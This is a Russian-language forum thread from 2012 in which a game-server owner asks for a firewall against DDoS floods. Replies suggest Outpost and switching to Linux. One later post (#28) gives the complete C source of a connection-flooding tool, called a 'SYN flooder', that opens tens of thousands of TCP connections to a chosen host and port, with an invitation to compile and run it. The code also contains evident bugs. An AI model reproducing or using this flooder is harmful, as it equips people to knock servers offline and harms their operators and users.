Модератор форума: No_MaTTeR, Dimitro, LightInDarkness |
Форум Полезное Флудилка Какой фаервол установить? |
Какой фаервол установить? |
Доброго времени суток.
Сначала не задумывался от ддос атаках сервера , думал что школьники стали менее агресивны , а нормальный ддос очень дорогой ( ну от него защита и не требуется ). В общем защита сайта от ддоса стоит , но вот сервер стоит без защиты и его просто ложут от закидывания портов сервера разными пакетами ( то есть от спрута ). Посоветуйте нормальный фаервол , который защищает от ддоса ( то есть чтобы он следил за тем , чтобы количество потоков с 1 ипа не превышало N количество ). С меня + Добавлено (12.02.2012, 19:18)
Сообщение # 1 написано 12.02.2012 в 19:18
|
Outpost .
Сообщение # 2 написано 12.02.2012 в 19:22
|
VISO, Как же мне просто спастись от школьников со спрутом?
Как то напрягает когда школьник над тобой стебается , что вот он имбо положил тебя спрутом. И как то не ок когда видишь какой тебя ип ддосит , а ты его не можешь заблокировать. Через CMD можно ип заблочить?
Сообщение # 7 написано 12.02.2012 в 19:29
|
Quote (Hellmourne) Как же мне просто спастись от школьников со спрутом? Как то напрягает когда школьник над тобой стебается , что вот он имбо положил тебя спрутом. И как то не ок когда видишь какой тебя ип ддосит , а ты его не можешь заблокировать. Через CMD можно ип заблочить? через CMD нельзя - насколько мне известно. в чем проблема, почему не Linux? Был бы Linux, без проблем помог бы..
Сообщение # 8 написано 12.02.2012 в 19:31
|
OmgThisIsSparta, я пока что еще новичек в этом деле.
Так сказать начинаю с самого легкого , а там уже и познаешь , что сложнее. Какой будет толк , если я установлю сервер на Linux и ничего не смогу сделать? ( Если еще даже установлю ). Добавлено (12.02.2012, 19:38) Добавлено (12.02.2012, 19:44)
Сообщение # 10 написано 12.02.2012 в 19:44
|
Quote (Nyll) Ок теперь вопрос: Школота умеет ддосить через syn? Я сомневаюсь Исходник син флудера: #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netdb.h> #include <netinet/in.h> #include <sys/stat.h> #include <fcntl.h> #define MAX_CON 91025 /* You may have to change this, depending on your OS */ int main(int argc, char *argv[]) { if(argc < 3) { printf("Usage: %s <host> <port>\n", argv[0]); exit(-1); } int sock[MAX_CON]; int i; struct sockaddr_in dest[MAX_CON]; struct hostent *host; if((host = gethostbyname(argv[1])) == -1) { printf("Couldn't resolve %s!\n", argv[1]); exit(-1); } for(i = 0; i <= MAX_CON; i++) { if((sock[i] = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Couldn't create socket!\n"); // exit(-1); for(;i >= 900; i--) { close(sock[i]); } /* break; */ } dest[i].sin_family = AF_INET; dest[i].sin_port = htons(atoi(argv[2])); dest[i].sin_addr = *((struct in_addr *)host->h_addr); if(connect(sock[i], (struct sockaddr *)&dest[i], sizeof(struct sockaddr)) == -1) { printf("Couldn't connect to %s on port %s!\n", argv[1], argv[2]); // exit(-1); } printf("%d : Connected!\n", i); } printf("Exit\n"); int a; scanf(" %i", &a); return(0); } Скомпилировать и запустить,думаю тут и младенец разберется.
Сообщение # 28 написано 12.02.2012 в 20:41
|
| |||